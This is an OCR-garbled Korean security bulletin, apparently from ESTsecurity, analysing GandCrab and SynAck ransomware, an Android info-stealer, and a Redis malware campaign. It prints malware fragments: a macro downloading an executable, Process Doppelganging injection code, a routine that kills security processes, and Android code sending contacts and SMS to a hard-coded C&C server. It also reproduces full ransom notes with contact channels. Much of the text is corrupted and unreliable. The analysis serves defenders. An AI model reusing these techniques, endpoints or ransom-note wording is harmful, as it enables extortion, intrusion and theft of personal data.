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Wend

Dim RGJEMA2TO9zJr7Ba

R8JEMA2TO9zJr7Ba . Add
R8JEMA2TO9zJr7Ba . Add
R8JEMA2TO9ZJr7Ba . Add
R8JEMA2T9zJr7Ba . Add

Set R8JEMA2T9zJr7Ba =

4s Collection

Mew Collection

"1jv2At0sn0OYJLTKY"

"D8HnmrtzE9y50a1Y jNgdyYCteqrBTCetLZnM | FNBEJNpP3s84Swullc”
"BOmG65gaukPngm0t 3YRCUHXd I 8sGAPt ¥sasL320AYsdFAOMWGj 3ZEAnwWNYBENj Ze
"cnt2Ty6BHYRQLOJ7 [ FiMST7frKwcPSqDUSpdwsedev”

Dim PErf6WPoeDahlT As Object
THIRTYRKBHBSCS|5??Dzﬁ.89nd

== 4 I

—— S St S - .-,
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A9

“roject kddyMi, IBuGfISZ5196sQxk0G

F THIRTYXX8NBSc3i5YYDz6

& |2t
3 Me
IBuGf7SZ 51965 Qxk0G Empty
IBuGf7SZ5196sQxk0G Empty
GGrJcglLSUIWP X0 w “hitp:/& « - L s/plnghghngdcxvscy.exe”

[J2! 5] GandCrab HHMQIE CIREk= FE
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End If
If Application.UserName = "ZLmmifqE3cM™ Then

MsgBox ( "vsOsKT7UAba" )

Else
Dim PpOYKNzAQAGBO29 As Integer

End If
If Len{Application.UserName) < 100 Then

Dim UNolJLEmdgyrdS4 As String

End If
€| Open iRn73G6SF91h0zH3 For Binary As ¥NjnAbIX8C67PsUTD8
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e
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| CRAB-DECRYPT - 1273 foll® s
DY BEO A4Q 2N S2TH)

F-—= GANDCRAB Y3 =—— 5
Attention!

A1l your files documents, photos, databases and other important files are encrypted and have the
extension: .CRAB

The only method of recovering files is to purchase a private key. It is on our server and only we can
recover your files,

The server with vour key is in a closed network TOR. You can get there by the following ways:
0. Download Tor browser - https://www.torproject.org/

1. Install Tor browser

2. Open Tor Browser

3. Open link in TOR browser: http://gandcrab2pie?3et.onion/ =

4. Follow the instructions on this page

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.

The alternative way to contact us is to use Jabber messanger. Read how to:
0. Download Psi-Plus Jabber Client: https://psi-in.org/download/
1. Register new account: http://sj.ms/register.php

D) Enter “username”: © Falm[E 0 ol

1) Enter “password”: vour password
&dd new account in Psi
4dd and write Jabber ID: ransomware@sj.ms any message
Follow instruction bot

S0

ATTENTION!

It is a bot! It's fully automated artificial system without human control!

To contact us use TOR links. We can provide you all required proofs of decryption availibility
anytime. We are open to conversations.

You can read instructions how to install and use jabber here
http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf

CAUGHTION!

?o not Ery to modify files or use your own private key. This will result in the loss of vour data
orever!

[O2! 8] GandCrab 2HMQI[0] 2HMLE
O[2{et R SZO =5 H M| Z2HH0| X[ L7 2ol E2X47F ==t O|HIYof| MEE I H2OfRIS
.I

Z=OloHiOF BTt oot YA SQ3t AizS2 o= 52 27 iAo E

Sl LM = s 2101 Trojan.Ransom.GandCrab, Trojan.DownloaderX97M.Gen'2 TITtokl QSLICE
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! 'Shipping Documents.exe 7t QUELICE

[5] Shipping Documents.exe

QEESBO- Shipping Documents.rar - 2%
jrig=l} = HE =3 = £=2
o \ it o | B OIOIE
L e & = ztero]
ormEy| HENT MEYS ¥s97| D237 Mozu:
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(22! 2] FLI 'Shipping Documents.rar

O[SAI7I i OIF T B 4% 2 MFRetl d2fohik, TS &l

Documents.exe'= NET 2 HIEE|0] UM, X7| XprS KA 2N AR

OPYTICE OIMBILIE, LS QRGN TEO] SO I,
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H=27} Het 714

ing cmd, byte boo! compatible)

rEmpty(cmd)

IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, ref

OIRIIE|0] ARl OPITITE 2 HRIQKO Q210! S2US B, et YRS (RCE MABILICE 122

C&CE Y=ot HE HSoh= SfHYLICL

POST /ne/ HTTP/1.1

Host: www.lifroc.com

Connection: close

Content-Length: 8488

Cache-Control: no-cache

Origin: http://ww.lifroc.com

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.8; SLCC2; .NET CLR
2.9.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.8; .NET4.0C; .NET4.OE;
InfoPath.2)

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wwaw.lifroc.com/ne/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

SH=PE4A5U0Y8sTPcPSN(VHP8ttxeI90LoYPT-91F1GXowBIlea-mIakdD(FCVzB2RZ70pc7cTRn(FsHPvaecijEmkC151x-
u7gHkjTzCMAMYo@d~88HM_N_YOZES54VRelLIng9ylpfte(bAIS_idoc~DNTFREXdANIOMM2ijFEWKISWBXVRBbOG(78kVckyTFO29C
alkTR_56Ej80iFhWAn~ofv8fUCFLUSA4IIKhNQbVaTSI3TAKikM1xLyhAZhH74e7WdAYS5ds9G81ZzUMIIDBzScv1(GZpTBbGu7m3
vHsgXJzTuKVF5i825pt7qtpPlih2fn9(nVi7Fg5wZsZLAYDuBG8DA02f61odo(9KpGP1QuH2sEYVX14rIXEMnz1oKVKZTZDA3NEQL
GFfFubduQZSWEqLr{dQgb425~t8iVbiCH-

(12 4] CRCE ME Hij= 51H
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e el B AXAM YL CH
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)i @—— Corporation_Project procurements materials for quote.ace (310 KB)
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W B 5@ s mamas Corporation_Project procurements materials for quote.ace - 2%
ot = HE L £7] £
<) qub - = OO|I=
L 4 [ 2P | [+ = 7iCHE] e
otm==7 HIZAISE A2 QOh= Ot=a7)
oy | WEAE | ESRnaR - = XAl
SiH AL SH ok ore =/ Ot E
| ~
E0 =H B X | I3 =37
. : ‘ , ion Proi ol £, 16.704
@ G Corporation_Proje }E} » Corporation Project procurements materials for qu 316,704
< > <
0 D MEE QHIO|E = 104, 700KB

e

=
|

ju
~

w
—h
ra

245 Teloj

C&C(http://62.108.34.49/1zayee/gate php) 2 F&oH= TSI AlSHEIL|CY

(32} 6] 442 Z4%4A] o4 miete] & iRy

U= oA A Tiexe)s 2L B2, 8 H22M 2 FIP Z2E HF[6IK

=T

O

fo
L

F (1 = “htt

/gate.php™; =i && tul; ++i )

*(al - 28)

while ¢ 1 )

L
*(al - 24) = 0;
if { Send Routine(i, ={al1 - 28), at1 - 24) )
{
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22 NAEHOZ oF 2 U822 ?let oty HIZ0| R AU TEtM OIZAE2 47t =23t
HZ0f U= TH =2 FHRLIU| ol HZS A7IFAL7| HIZLICE ot it HH0|E HEHS ek ZRIO2
FrAlotE=Al7 | HEELCE,

SAXH 2efofAl= 2 T EE Trojan.Agent.188416B, Trojan.Agent.717312B = ZIEHSHT QUELICE
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[Trojan.Ransom.SynAck]
AEIC M HIIA

1.7

I{RE TAKSS Al SRS QEEHT 2 AIS S| st CIfet WS AT, 15 TRMA
QUM 7|HiZ E5t uiAl &

$|"

| 2l= Process Hollowing, SetWindowsHookEx & EfHS X0l BiHS S5
O[RO{MZICL ofX[Zt Of2et 7[HE2 @ 7[7F ARRE|RIV| IHE0]| it SINSZRE Q1M EIX| A7t RISHE|0f

ofd3E HRIZ0| O

O|0f] 2t 2 7 =0 ARE|0] 2EH T2 AM|A QMM 7[8H0] OFl Atombombing, Process Doppelganging, early
bird S ME2 7|HE0| SHOIFCH 025 7[HE2 HH B AHTE, M0 S LISt 2| T =0fA

o= TTro—!
A= NI AR

MR 2 2 MM E MEH L=l Q1M 7|8 = Process Doppelganging”S 0[5t SynAck ZHMELI0IS AN
=AGIIA} oIt

ri"

(1) &4 https:/ /mww.blackhat.com/docs/eu-17/materials/eu—17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
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21. 24 & 2=

FGTAE AU 24 ALARICZRE X H0|H 242 0EA of7| flofl 2X12 H=2l SXRI AT,

KIRPER! AP 25 ARSI,

1) d=s}

CtEat 20| H=21E Salf AkZet API 7t 2fR1%|X| 30t X =M= OFA| eitt.

Member Offset Size Value Section
Export Directory RVA Q0000160 Dword COOO0000

Export Directory Size 00000164 Dword 00000000

[mport Directory RVA 00000168 Dword 00000000

Import Directory Size 0000016C Dword COOO0000

Resource Directory RVA 00000170 Dword CO000000

Resource Directory Size 00000174 Dword CO000000

Exception Directory RVA 00000178 Dword 00025000 -pdata
Exception Directory Size ooooo017C Dword 00001008

Security Directory RWVA Q0000180 Dword COOO0000

Security Directory Size 00000184 Dword 00000000

Relocation Directory RVA 00000188 Dword 00027000 reloc

ESTsecurity
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03 YdIE EM HY
2) MAEQI AP S & B 7
Fa AtS Sdll €2 2E6M| M0 tEdt 20| 84 24 =2 O e/t SEEI=X] =RIE[X| p=rt,

LODWORD{u12)
= ul2;
LODWORD{u1h)
= uih;

i3

uiG

{{&loc_193C5A + 1518} ){&loc_198068

{(Bx2A7C9CBF - 5434u5343iG6h)) (w3,

if { vi3 )
allocfreef{ui13);
if { uviS )

{

2L =

600000;

{(OxFFFFFFFFFFDD271Fuib6h + 3876257))({v15, 6ibh,

u2g =
2L =

h;
8;

+ 218085} ;

varsia, vars2g, vi2);

[

{(Bx16DFGB3C - 382147532i64))(vi15, 31i64, &U25, &U2A);
u25 |= 8x188u;
{(BXFFFFFFFFFFDD271Fuibdy + 3876257))(vi15, 31i64, &u25);

02 2] = H=3) 51

3) Process DoppelGanging Q1=

FBEO| TRAA QIR 7|

2=lot7| ?loll =2

O2NAE

7o

AEE B2,

2] AJAEIO|L} HHA

LIS Soll A  XIE =+ U1 =20 0=

37l=l Process DoppelGanging O|2H= A{22 I2M|A QMM 7|2 ARSI} QIHIM CHA

SIEQ ME| ZET2O! mejexec.exe OICH CHSS Q1M FCO|Ct

f/ CreateFileTransactedy
LODWORD{u1h) =
v2d = vil;
if { vi4 *= OxFFFFFFFF )
{
/f WriteFile
if { ({(OxZDACFE + 1208866i64)){uv1h,
{
if ( w3z )
HeapFree{u32, uvi%, via);
u3? = Bi6h;
U33 = Bi6k;
Ff ZuCreateSection
if { ((Ox1S4E6B2B - 35324B8571i64))(&uin,
{
ff GetGurrentProcess
LODWORD(v17) = {(0x1956C9 + 2543879i64))();
uh8 = Ox4BLHAOABY - 1258932340i64;
ff HtGCreateProcessEx
if ( ((0x4BLABABY - 1258932340i64)) (827,

3z, w33,

{
uGhe = B;
memset {(&uG7, @, BR206uiGh);
uhdi = B;

memset{&uil, B, BxEuibh);
Ff GetFullPathHameW
((Dx20F216 + 145895hi6h)) (Buak, P26DiGh, &udh,

[ 3] Process DoppelGanging 18 =

ESTsecurity

983871i6N,

((Bx347310 + 766455164))(Rudl, BxCOABOOAALGYH, 1id6h, Bidh);

Gu3h) )

Bi64, Biak) >= B )

0x100008800i64, BiGh, vi7) >= 8 )

0i6h);

|



SIXIZE AK| SHRIOIA Z7HE! HEAIQI PE IS XIF MX| 9411 0|2 22510 EntryPoint 0] A/lsl= FEE

o
ZEEE= WAS ABRICt OS2 HYE= EntryPoint Z=0|Ct,

msiexec, 000000010001712C

mov rax,<kernel3z.MapviewdTFiles=
&2l rax

add rsp,28

pop rbx

push rax

MoV Fox,rbx

mov rax,<kernel3z.CloseHandl]ex
sub rsp,20

E&2lT rax

add rsp,z0

mov r9,40 ; 40:'a’

mov r8,1000

mov rdx, 28000

HOF FCX,FCX

mov rax,<kernsl3z.virtualalloc>
sub rsp,20

E2ll rax

add rsp,z0

mov r9,40 ; 40: '@’

mov r8,1000

mov rdx, 28000

MoV FCX,Fax

mov rax,<kernel3z.virtualalloc>
sub rsp,20

E&all rax

add rsp,z0

mov rbx,gword ptr ss:|frspd
push rax

mov r8,2s5000

mov rdx,rbx

MoV FCX,rax

mov rax,<ntdl1.Rt1CopyMemory>

mov rox,rbx

mov rax,<kernel3z.uUnmapviewdfFilex
sub rsp,20

call rax

add rsp,20

pop rax

call rax ; call malware

add rsp,438

(al=1

(32! 4] SZ= Entry Point ZE

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.
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-1 O-4—

HI

M HT

2.2, I g5}

I SIS XISHGE | 0| excel.exe, javaw.exe, dns.exe, vmtoolds.exe, GoogleUpdate.exe S & 293 7H2]

D2ZMAS S=2I) Ol Z2MAUM B2 S IS Zlasloi 2 LZs QFEXo= ssiol| flee=

=)

=S OEA ol | ?loll S= e TEMAZAEE OIFAUCE H&E Hash = HElECE TE2

if { result )
{
/7 GetCurrentProcessId
uS = {({B7AIC633F — 20470959671643)();
Memset (&pe.cntUsage, Bi6h, Bx234i64, vda);
pe.duwSize = @x238;
Process32FirstW(hZnap, &pe};
u? = decsty{&dword_1A25EQ);
do
{
if { pe.th32ProcessID *= u5 )
{
strlen = strlenw()};
v9 = HMakeHash{pe.szExeFile, strlen);

ull = Bi6h;
// memory compare Logic
if { =u7 )
{

U1l = =u7;

do

{

if ( vil == u9 )
break ;

vl = (vie + 1});
vi1 = vwi[v18];
H
while { vi11 3;
H
if  ui[ulB] )
{
/f DpenProcess
LODWORD{v12) = ((B8xDDDAD + G73B59i64))(1i6h, Bi64, pe.th32ProcessID);
vl13 = uvi2;
if { viz )
{
f/f TerminateProcess
((OBx7C16B8D - 128537949i64))(vi12, Bi6N);
ff CloseHandle
((@x4EDEGIDF - 1321615855i64)){v13);
H
H
H
H
while { Process32HextW{hSnap, &pe) );

[O2 5| Z2hfA E=2 FE

ESTsecurity
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HI

M HTI

QPEAQI I ASSIE ol MY US3t MR A=/ EXHSHC) M2 = 2|AEE Hash = £2|&|H
Windows(0x7B35A3C6), STARTUP(Ox53C4CAFE), CryptnetUrlCache(OX8FEBB2B3), Temp(OxF37288C2),
Cache(OXAD634ADA) S & 16 7+ EXHSICY.

] ] 1 1 1 L] ] -
S ey ASCII
00000000001A2430 014 42 F2 16|FE CA C4 53|C6 AZ 35 7B|EF 1F EF 9SAJ.EB0.pEASE£5{i.7.
00000000001A2440 fDA 44 &3 AD|C2 88 72 F3|B3 B2 EB 8F |87 9E 558 zefUlc.A.rg==&,..x&
0000000000142450 802 2E 5A CE|65 B0 2C 2Z1|0E A6 AS A9 (A7 2B 53 O0Df.>ZEe.,!. ¥2EES,
00000000001A2460 LA E el - el A A= B e e e ] - H4T&TWi4 . iD¥gE
00000000001A2470 (00 00 00 00[00 00 00 OO[BO 2B 8A BD|DE 77 C5 D2[........°+.%DwAD

[72 6] 2t55t M9 THAt ZAZS0| Hash

=21 O

Ijd YSeh= 220 HZE MYSS Loz RE SEFH TIRlEC tiset iz TIU2 9|9 10 Xt=(e]
D

I .. » ZHOIEZZ] » AFE » Sample Pictures - ¢,|| Sample P_fdi_g‘__ _ p|
=5 Liat - SCH0|E s MEH ~ O @
N IEERE

Sample Pictures

B D O EREEERENEIE)

==READ== Chrysanthe Desertjpg. desktop.ini. Hydrangea Jellyfishjpg Koalajpgu Lighthouse. Penguinsjp | Tulipsjpg.b

THIS==PLE mum.jpg.a WKssfYwo dhoglwezQ sjpg.HglK .ggGOJcOg YUWhyiSsa jpg.AeHyd  g¥YwgGFD | GPaFrCuDv

ASE==6F7  mezzXp¥c NI r EqBBoA Lw BMYTL Moft -
FBFO3 bt M

13 7] Y53l 20 5t

et A=E M| A= st 2L

ofSstmel E 2| (byte) =3

or5 1Sl MR! H0|Ef Filesize — Filesize%16 St M L GIOIE

Imlo| F0| = Hjo|E
Ijd 0| ==HI0H Filesize%16 (IRUAO|XE 16 OFZ L+ LIHK[OIE Q5 5)&|X| QH=C})
AILME Sall YSSIHRE =10l
S ALN 8 (OX2F A1934A203DCE6S)
o535t D 4 &4

o153} & A 7| 4 or&5} ME AXH|Q) 37| 0x27B 2 T

ors3| ME JIRF| 0x27B ASSHE AES, 3717 | 82 H=

[F 1] S35t mY 1=
ESTsecurity



CESH AL E s RS} O 2155t 7| HES0| EHEI0] QUL AE HALEO] KR IS} ULt

- =

"] ==READ==THIS==PLEASE==6F7FBFO3.t4t - D25 = | B
o #EE MA0) 2N ESZTH

Syndck FES »
{Files Encryption Software)

Dear client, we apoligize for inconwinience with your files

S0 we make a business offer to order file recovery service from us.

We do not extort money, files restore is an optional service.

Also we will do auditing of wour network FOR FREE if wou order file recovery service.

Some details about Synéck FES:

This software uses ecies—-secpl92r1 algorithm to create wnigue pair of private and public keys for the session.

Each file is encrypted with randon kew using aes-ech—256 algorithm.

Ye strongly recommend you not to use third-party decryptors because they can damage wvour files.

But if wou want to try to restore wour files by wourself, make sure wou have made backup copies of encrypted files

4nd please do not remove files with text notes, because they contain important information required for file restoring.

If you want to order file recovery service, please contact our support using one of the following e-mail addresses:

synack@scryptmail,com
synack@countermail . com

I'f you have not get a response in 24 hours, please do not panic and write on BitMessage (using site https://bitmsa.me/):
BM-2cTp9e0sg) WsBSY 1 AkYCDzPHSH kwYk 1L

Keep in mind that there are fake services offering decryption: do not believe them or you will lose vour money,
Anywaw, there is one method wou can use for proof: ask to decrypt some files for free.
Mo one except us will be able to do that.

PEEED PLEASE INCLUDE THE FOLLOWIMG TEXT IN YOUR MESSAGE !!!

JWJUsapcyMollFy e SBECAUCTCYLGaXLzKEBenkvPAKFBP | KD¥RAups T25c+dPELET IMJUsapcyMoFyes
BECOULABF ] hg3Ut JEWHE Bt sSe Tkw | Sxg | vByhakJSLzw JBONc AR Henl de | Zi xpkzgbkNgBxS88F ) /
9x3q50mu400Exy QkuCl dt HEFPJ e /0TasCx ZdL B 00BEER+out 99l s 00z fwe AG0FL OYK | 4FvsuY 3400y
ulkCFjGbleY.JaRpNlckk9)+vkigeat JOnskBpdSGxa 1 alvhovBav /v dr UDp JEvXbY | i 4 NV 221
EkLWd{bEdhnNBSEuIar | ihid0y ] apb+O¥mOJHYe INTUGT JoulqowvgDpORBOTEMTnayWken | hz+aP3wry
f092hZuzbwCf+InPaFly fnn | glizw

Best regards,

Syndck Team.

Synhck FES

[O2 8] HM-E 51H

M- Eo| MEH DI 5242 LIsHAE “synack@scryptmail.com” E= “synack@countermailcom”® A2t
SHOFSHH 24 AIZIO|LHOY| ERI0| 2= Al BitMessage £ O|25H0F SiC}, LESH IS St M| Q=2

SHAFAELE LSS Eeleit.

ESTsecurity



ARIO| Xe=-E SAXIS2| 2 7|-S0] w=ol THIGHA L Tt EHX[X] 42 7|HSS ArSof did EU(IE

PoAZM MEAS EE2A AT ZHEE 50| O ZOFCEL SynAck HER012] B2 71E 2HE4
L= Process Doppelganging 0[2t= M=Z2 7IES AZoHEA 0| eele ZeS 2R, Hl A} EEE

HE7IE2 M2 7180 Choll 2240101 =AH| tHSet &~ U= Bl TS KEHC = S-alish QUL AUCL

SHat THsA0] QI BIZ AIBKIE 27/AOR S0 TS ueis|of} srcﬂ, ﬂHiI w2jom
OFE{0| LABH| SIZE 05 9 ATEL0f= FAl BXIO| UTI0[ES SISHOF BT ¢
AR 15101 257 %401 ZIAS: AAIICHO0F Bl

SRl LefOiM = s 2T EE Trojan.Ransom.SynAck’ 2 TIEHSH QUL

ESTsecurity



[Tro;an.Android.Banker]
OFMTAC EAM HIIA

B2 I OfetRISIR0LE of 0] A 71 2l 2Ck SR TS SR S8 AR W2 21y o
x SUS TIGH=| T T ouﬂga MBS S0LT ST 71 RS
x[ol

10
22 23 0/2 55101 'AEXIe| 22 018 AA'S

=2 2M HTMOIME= TrojanAndroid.InfoStealer’S AtM| £A1610X SICE

ESTsecurity



21 9 A AR
ARBXIE £0|7| QI5HM FIFIRAER] OI0|ZS ARSI, ¢ HOR ‘Support £ AKRSICT

<string name="app_nams"3
Support</strings

WER IR R PN

22 Het o7
AKX} 7|712] SDK HTE &Rl T HiTH0| 23 0pAd A< "android.permission.READ_CONTACTS,

‘android.permission.READ_PHONE_STATE S7}X| Este| 51718 SHO=E Q15SIC o AX| A| HRst Hsto|
51712 A0 QEME O WXt 2| QI=Z0|= 6.0 TIARZL’ HTOI SDK23 HHMEE|= sHE #SH0|

AIBE I, SHOR 57 S Y ZOR QIER0|= HE0| iz ERICt

DK_INT >= 23} 1
Activity)this)).requestCode(l).permission{new String[]{"android.permission.READ_CONTACTS", "android.permission.READ_PHONE_STATE"}

!\. Support2| C}3 =S
& ZSHA | AGLIN? HEt 27] & 2

1/2 Ag 58

= Support?| Cj= S

— OSISSIAASUIMN FAF HMA

ESTsecurity
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0X
I-.u
=
AI
1z
5

23 et x| 2+
QFol= ol HE & 42 ABAP| Hol= 7IS2 018 % SICHH ABXIE £01= 2415 Eeiol 2bd
Aol TSt HElE SIS R (ARlSeH 7 I OZA ABAH= ‘B 517| YlotH SiE S
CHRE0t MX[SH-HERO| T, 11 SXNS ol | floiM S& HetE oi7Ie &E0| IR =8 AR FX)
Permission denied

You have rejected us for authorization,

would you please authorize, otherwise

the function to use!

“ Resume i Cancel
setMessage(string.permission_message_permission_rationole)
<string name=":e';issi:"_“essege_;e'“i::i:"_'e:i:"e;e"> B -

You have rejected us for authorization, would you please authorize, otherwise the function to use!;

case -2: {
RatiocnaleDialog.this.mRationale.cancel();
break ;

H
case -1: {
RatiocnaleDialog.this.mRationale.resume();

break ;

[ 3] #et M 7

24 Ht*|tﬂsa‘5hﬂ
AEXL 71710 St SEHE ZAISIH LAMENY B2 T HSE NESITL,
‘/data/data/com.tencent.qq.a(@i7 | X|H)/shared_prefs/ ZH2]| ‘cachexml ILII0f| XZkSiCt

void onReceive(Context argd, Intent args) {

(args != null &% (arg5.getAction().equals("android.intent.action.NEW_OUTGOING_CALL™
String v@ = argb.getStringExtral"android. intent.extra. PHONE_WNUMBER™):
if(!Texttils.isEmpty(({(Charsequence)wad)}) {

LocalManager.setCallPhone(argd, w8, true);

R e L LI T I By i =~ T =y e e S S =7

SharedPreferencestEditor v@ = argd.getSharedPreferences(“cache”, @).edit();
v@.putString(“calllog_number", args);

v@.putBoolean("calllog outgoing™, argh);

v@.commit();

(121 4] 2241 v 23]

ESTsecurity



OPYTE BN T

25 M3fHE 9 77 |ugHE BE
AEXIe| MeMHSE EtE[510] ‘/data/data/com.tencent.qa.a(@i? |X|H)/shared_prefs/"ZC12] ‘cachexml 0|

XEEL olmi, 71712] HefH=7} GiOH 717(9| NRHaS AEeI.

else {
String w2 = PhoneUtil.getPhone(this.getApplicationContext());
if(TextUtils.isEmpty({(CharSequencelwv2))) {

w2 = UUID.randomJUID().tostring();

ic static finmal 5tring getPhone(Context arg3) {
String w8 = arg3.getSystemService("phone”).getlinelNumber();

P o e S P . P S T S A el A S T, S Y r
public static fimal void setPhone(Context argd, String args) {
SharedPreferencesiEditor w8 = argd.getSharedPreferences("cache™, @).edit();

va.p

a/com.Tencent.qaq.a/shared_prefs § cat

encoding="utf-8' standalone=

tring>

[22! 5] 23 & AIBXIL| TS

26 FAF1AE 23

71710fl MEE FAFa RAE MEE FASIK| SRS E3L 71710 MEE AT EFEI. (Gi7t= 0l

FAZS LF510] AKBKIC] T4 XIQISOI 2XI2t HIS OIZ5101 ARBXIC| B2 018 AHIS FE5RICIT

. void readPhoneContact(Context argll, Map argl2) {
argll.getContentResolver().query({ContactsContractiCommonDatakinds%Phone .CONTENT_URT, new String[l{"display_name", "datal™}
1 void readSimContact(Context argll, Map argl?2) {

argll.getContentResolver().query(Uri.parse("content://icc/adn™), null, null, null, null)

-

Arraylist w4 = new ArravlList();
Account[] w2 = AccountManager.get(argl®).getAccounts();
UOTECT W3 = WB.MEXT( )}
UE = w8 + String.format("%s:%s##", ((Contact)v3).getName(), ((Contact)v3).getPhone());

ESTsecurity



-
oTE 2 7
contactstring "CONTACT:STARTnalyestsecu@gmail.com:com.googles#Test2:0107 I =#wst1.0107 | s ==
e ]
analyestsecu@gmail.com
Google
'
1 *
010-7 I, - |
o

010-7 N7 LR .
(22 6] TAZ} AN =3

HEE HE= 1712 CRC MHQ1“118.107.181.26' 2 THEEICE J2iLt, XK SHE AH0f] 0] =X =Lt

HashMap v4 = new HashMap();

vd,put({”sbid”, this.mPhone);

vd.put{"smscontent™, wvB);

if(this.mHttpWrapper.post(this.getRequestUrl(), ((Maplivd), String.class) == null)

return 1;
protected String getRequestUrl() {
return "http://118.187.181.26:8899/saves.ashx";
T
"http://118.107.181.26:8099/saves.ashx"
"Test1:0107 I £ £
Destination Protocol Length Info

118 15? 181. 25 TCP ?ﬂ-E?BEB - 8899 [SYN] Seq B W1n—

3 71 82 25

ESTsecurity
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HI

M HT

287 E &S

1) oy #9le] 29}
B MZOIAHS TE7} UOIE AI3HO| EIX| Q7L YO £} E A Qi BIO} RE IESS &

QUL 2R Het 22 S Sot o AR dolf, 24t ZF, AR B 2|, 7|78 257t U,

—_

ic void LockfApp() {

Ohject w8 = this.getsystemService("device_policy™);

Componentlame vl = new ComponentName({{Context)this), DewviceReceiver.closs);

if(!{(DevicePolicyManager)vd).isAdminActive(vl)) {
Intent v2 = new Intent("android.app.action.ADD _DEVICE_ADMIN™);
v2.putExtral"android.app.extra.DEVICE_ADMIN", ((Parcelablelwl});
v2.putExtra("android.app.extra.ADD_EXPLANATION", "");
this.startActivityForResult(v2, @);

ic static final woid setSmsIh{Ccntext args, long argh) {
SharedPreferencesiEditor w8 = args.getSharedPreferences("cache™, @)
v@. putlong(" id™, argg);

v@, commit();

lic static final wvoid setImei(Context argd, String args) {
SharedPreferenceskEditor w8 = argd.getSharedPreferences("cache”, @)
vB,putstring("imei_code™, args);
v@, commit();

lic static final wvoid setﬂlbud[d{Ccntext args, long argi) {
SharedPreferencesiEditor w8 = args.getSharedPreferences("cache™, @)
vl ,putlong("album_id", argb);

vl , commit();

(072 81 37H 214 U= ok e

2) Uch Aok

olid A2 Assets ZH0H| ‘temp.html'0] AEE|0] L=E, AH| Bt=0l EXHoh= S8 Mt HRAE 247 HEE0f

UL,

ESTsecurity

< — )] i 2 temp.html
&4 T Z Rk | 2f A
0= -
FUSEY=E:
T
=2 ZI
=& of Az = 2l gct
A e S e e |
2 ES BE Na=o
g2 AlsE YnE A2 ez 2IEt
anfelsE 2= e DAY s B
dAohele A E Szl =

= Ot = ADLA FETHH
= A2 2F ORI A
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HEt Ob 2 AKBXIS £0(7] SsHM 2
= OI'E'IE—|'J_ 3.:.*—.*3}01 —5”.‘_1% =TI

QUSH S 0|2 AMH'S

[THEA, 2Fd 0l ZE=IX] 2

EH 26 772 bl

12f MOfIM= olid 2

24X &

8

=

27| flotiM= OI0] S5t EX7t

S5 XK= HZASHT OS 2f 0fE2|AH|0|M

o

O
of A=

ESTsecurity

X7} 2

=
S

Trojan.Android.InfoStealer’

o O

Fekeh URL U M2 &
A

P E|A O

=]

EtX| HOo= FIC

AJSH5IX| QL0JOF BT,

HIO|E HEC= &
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04 slie| 2ot St

1. 30A

75%2| Redis MHS, MHMIC Z4HA &Y

Around 75% of Open Redis Servers Are Infected With Malware

Imperva 2| CHHQI0| CHEE2| Redis A7} Q1S AAE! §l0] QB0 2 |0{U0], QHGTETH 0= A=
HOICH T SR} ME7IE2 K|t 2 S ZF Redis 7[212] olLIT MHE 2Fdli= 7 0| 22 A== WRICE 152
SILI MHE Sofl 221210]] & = 2 Redis AH0IA 2LUSH| 7HASIHE XZ6H= 2410

ReddisWannaMine 2 Z7434Ct.

SSH| TAISS: S5 24 B% 9o

7R UBFEOI IHEIS, EZX7L 24t I Redis MH{0]l SSH7 |2 i< AX[5H LISOIE H20| 7IS3HEE 5k= %0).
STES2 "MZ UE SZKIS0| St 7Lt 2hS M0l S22 Adichs RS LTI, T2 MHS ALO[0fIA]
_|_O E| 9||__|- 79 Ok EHI _<?_I'EO| ‘E‘o@ %7-'0“:'-"’ Hf—il:l-

HALD, 71O A A EO— 21 AN

Jt._1—5-7 = 01|—l 2= Soll +&fet SSH7IE AKEsH, 0] 7|7+ ZXok=X| 2f21617| flol| 22t210 == & Redis MHZ

|-I]
|-\u
2

EIAE E Redis ] AHC] 75%7} &AE HOR LIERL

72,000 T4 01442 Redis A7} 221210] e £/0f 2O, OIS 2 10,000 LH OF0] AZH 201 0fi2] gio| ST

0449 S0| 220 4X| B SSH IS 20IS 4 QUL HPTISS 0] MO 75%7+ o4 R4 ZRI} BRI
O QURRI SSH 7 IS AIZ5HE QKT B
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Malicious Keys %of infected servers
crackit 19

trojan 7

tt,1, godkey, x, session, <1
zyptzigxibzioeikboom

Malicious Values %of infected servers

lynx 67
ssh-rsa 20
chmod, /dev/tcp <1

SLIZt HO[E{0IIM 71 EL0| A H °Fd SSHI IS

EX1: https:/ /www.incapsula.com/blog/report-75-of-open-redis-servers-are-infected html

St oFd SSH 715, 2 A St st El0{U0

?l 2|AE9| 7|5 & “crackit” SSH 7= LEiT! SAKIS0| 2ol = 7H MBI 2 AO2 LIEFIT

O] 2+ 7|= Xt 2016 A 7 & 6,338 712 Redis AMHSHA 2 EIUCE 1 7HE 2, S22 71= 13,000 T 02
Redis AHOIIA] 22 EIRACE. OIS 2 2 H|EZQIS 2+1ok= 7Hit 2id .LES 20i37| 2lolf o & A= LERIT.

o o

120 HE 2, OHE S4EE0| 2ol S2et Redis MHZ0| FairWare HHEY0E AL 2 HiXEoR=0H| ALE
E|ACk= AR A E|UC Redis A SZ2] B0 U= SHXEE2 2E EHUA= Redis MHE ESHC=

Aol HIRE £ 2 O|U= 77|15 o -+ U= A= M AU

Redis AHIS, 712X Q= QFHGIX| 210}
MH HEAS2 MH| 18 TS #7345l 215 AAES st SHofeit). A-1HS2 Redis = 2150| LIEEZ
EF |0 UK M, 2= HO[EHHIAE HEHZ ME £f7| HEN| Z SIWHCZ =F E0A= FEn" 1

U

[EX] https:/ /mwww.bleepingcomputer.com/news/security/around-7 5-percent-of-open-redis—servers-are-infected-with-malware/
https:/ /www.incapsula.com/blog/report-75-of-open-redis—servers-are-infected html
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04 3He] Kot S5t

T M7He] Z2NEQ| HEkS O|Xl= Zip Slip’ FA4H LA
Zip Slip' Vulnerability Affects Thousands of Projects Across Many Ecosystems
HOL G HS0| = 2UKe] ZENMESO| Feks O|Xf= X[FXO! FofEnt 21 E XMt WEE SINHCE 32Xt

